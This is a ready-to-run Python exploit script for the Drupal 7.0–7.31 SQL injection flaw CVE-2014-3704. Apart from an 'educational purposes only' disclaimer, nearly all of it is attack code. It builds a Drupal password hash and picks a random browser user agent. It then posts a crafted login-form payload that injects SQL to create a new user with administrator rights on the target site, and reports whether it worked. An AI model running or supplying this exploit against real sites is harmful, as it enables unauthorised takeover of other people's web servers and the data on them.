#!/usr/bin/python # # # Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005 # Inspired by yukyuk's P.o.C (https://www.reddit.com/user/fyukyuk) # # Tested on Drupal 7.31 with BackBox 3.x # # This material is intended for educational # purposes only and the author can not be held liable for # any kind of damages done whatsoever to your machine, # or damages caused by some other,creative application of this material. # In any case you disagree with the above statement,stop here. import hashlib, urllib2, optparse, random, sys # START - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py # Calculate a non-truncated Drupal 7 compatible password hash. # The consumer of these hashes must truncate correctly. class DrupalHash: def __init__(self, stored_hash, password): self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' self.last_hash = self.rehash(stored_hash, password) def get_hash(self): return self.last_hash def password_get_count_log2(self, setting): return self.itoa64.index(setting[3]) def password_crypt(self, algo, password, setting): setting = setting[0:12] if setting[0] != '$' or setting[2] != '$': return False count_log2 = self.password_get_count_log2(setting) salt = setting[4:12] if len(salt) < 8: return False count = 1 << count_log2 if algo == 'md5': hash_func = hashlib.md5 elif algo == 'sha512': hash_func = hashlib.sha512 else: return False hash_str = hash_func(salt + password).digest() for c in range(count): hash_str = hash_func(hash_str + password).digest() output = setting + self.custom64(hash_str) return output def custom64(self, string, count = 0): if count == 0: count = len(string) output = '' i = 0 itoa64 = self.itoa64 while 1: value = ord(string[i]) i += 1 output += itoa64[value & 0x3f] if i < count: value |= ord(string[i]) << 8 output += itoa64[(value >> 6) & 0x3f] if i >= count: break i += 1 if i < count: value |= ord(string[i]) << 16 output += itoa64[(value >> 12) & 0x3f] if i >= count: break i += 1 output += itoa64[(value >> 18) & 0x3f] if i >= count: break return output def rehash(self, stored_hash, password): # Drupal 6 compatibility if len(stored_hash) == 32 and stored_hash.find('$') == -1: return hashlib.md5(password).hexdigest() # Drupal 7 if stored_hash[0:2] == 'U$': stored_hash = stored_hash[1:] password = hashlib.md5(password).hexdigest() hash_type = stored_hash[0:3] if hash_type == '$S$': hash_str = self.password_crypt('sha512', password, stored_hash) elif hash_type == '$H$' or hash_type == '$P$': hash_str = self.password_crypt('md5', password, stored_hash) else: hash_str = False return hash_str # END - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py def randomAgentGen(): userAgent = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53', 'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10', 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9', 'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', 'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0', 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53', 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0', 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36'] UA = random.choice(userAgent) return UA def urldrupal(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) # Page login url = url+'/?q=node&destination=node' return url banner = """ ______ __ _______ _______ _____ | _ \ .----.--.--.-----.---.-| | | _ || _ | _ | |. | \| _| | | _ | _ | | |___| _|___| |.| | |. | |__| |_____| __|___._|__| / |___(__ `-|. | |: 1 / |__| | | |: 1 | |: | |::.. . / | | |::.. . | |::.| `------' `---' `-------' `---' _______ __ ___ __ __ __ | _ .-----| | | .-----|__.-----.----| |_|__.-----.-----. | 1___| _ | | |. | | | -__| __| _| | _ | | |____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__| |: 1 | |__| |: | |___| |::.. . | |::.| `-------' `---' Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n Admin 4cc0unt cr3at0r Discovered by: Stefan Horst (CVE-2014-3704) Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ commandList = optparse.OptionParser('usage: %prog -t http[s]://TARGET_URL -u USER -p PASS\n') commandList.add_option('-t', '--target', action="store", help="Insert URL: http[s]://www.victim.com", ) commandList.add_option('-u', '--username', action="store", help="Insert username", ) commandList.add_option('-p', '--pwd', action="store", help="Insert password", ) options, remainder = commandList.parse_args() # Check args if not options.target or not options.username or not options.pwd: print(banner) print commandList.print_help() sys.exit(1) print(banner) host = options.target user = options.username password = options.pwd hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash() target = urldrupal(host) # Add new user: # insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'admin', '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' FROM users # # Set administrator permission (rid = 3): # insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'admin'), 3) # post_data = "name[0%20;insert+into+users+(status,+uid,+name,+pass)+SELECT+1,+MAX(uid)%2B1,+%27"+user+"%27,+%27"+hash[:55]+"%27+FROM+users;insert+into+users_roles+(uid,+rid)+VALUES+((SELECT+uid+FROM+users+WHERE+name+%3d+%27"+user+"%27),+3);;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in" UA = randomAgentGen() try: req = urllib2.Request(target, post_data, headers={ 'User-Agent': UA }) content = urllib2.urlopen(req).read() if "mb_strlen() expects parameter 1" in content: print "[!] VULNERABLE!" print print "[!] Administrator user created!" print print "[*] Login: "+str(user) print "[*] Pass: "+str(password) print "[*] Url: "+str(target) else: print "[X] NOT Vulnerable :(" except urllib2.HTTPError as e: print "[X] HTTP Error: "+str(e.reason)+" ("+str(e.code)+")" except urllib2.URLError as e: print "[X] Connection error: "+str(e.reason)